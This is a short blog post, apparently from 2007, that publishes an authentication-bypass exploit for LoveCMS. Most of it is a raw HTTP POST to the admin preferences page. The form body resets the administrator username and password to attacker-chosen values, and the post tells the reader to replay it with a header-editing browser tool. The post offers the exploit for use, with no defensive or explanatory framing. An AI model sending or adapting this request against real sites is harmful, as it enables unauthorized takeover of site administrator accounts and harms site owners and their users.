Monday, 1 January 2007

Lovecms auth bypass

use live http headers to send those!


POST http://localhost/admin/index.php?f=preferences

Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/admin/index.php?f=preferences
Cookie: PHPSESSID=4cef5161c7f928466a1534c0fe8843e3
Content-Type: application/x-www-form-urlencoded
Content-Length: 157

webtitle=root&descript=root&weburl=&webdir=&keywords=&defaultmodule=Content&defaulttheme=default&footer=LoveCMS%2C+2006&usrnam=root&passwd=lols&savepref=Save


#released by Bl0od3r

No comments: